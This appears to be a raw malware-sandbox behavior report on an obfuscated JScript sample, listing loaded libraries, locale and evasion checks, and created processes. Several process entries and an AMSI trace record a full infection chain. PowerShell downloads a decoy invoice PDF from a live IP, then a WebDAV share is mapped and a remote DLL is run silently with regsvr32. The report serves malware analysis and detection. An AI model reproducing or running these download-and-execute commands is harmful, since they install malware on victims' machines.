Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2800.js.csv");ITextStream.WriteLine(" entry:8033 f:avafzf");ITextStream.WriteLine(" exec:2 f:avafzf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49703

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4077			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5289			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6936	Thread sleep count: 4077 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep count: 5289 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7392	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2936	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7604	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7820	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000003.1324686836.000001B67234E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1326285178.000001B67234E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1326063993.000001B6722E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2548418119.0000024FADC2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2549808564.0000024FB3454000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
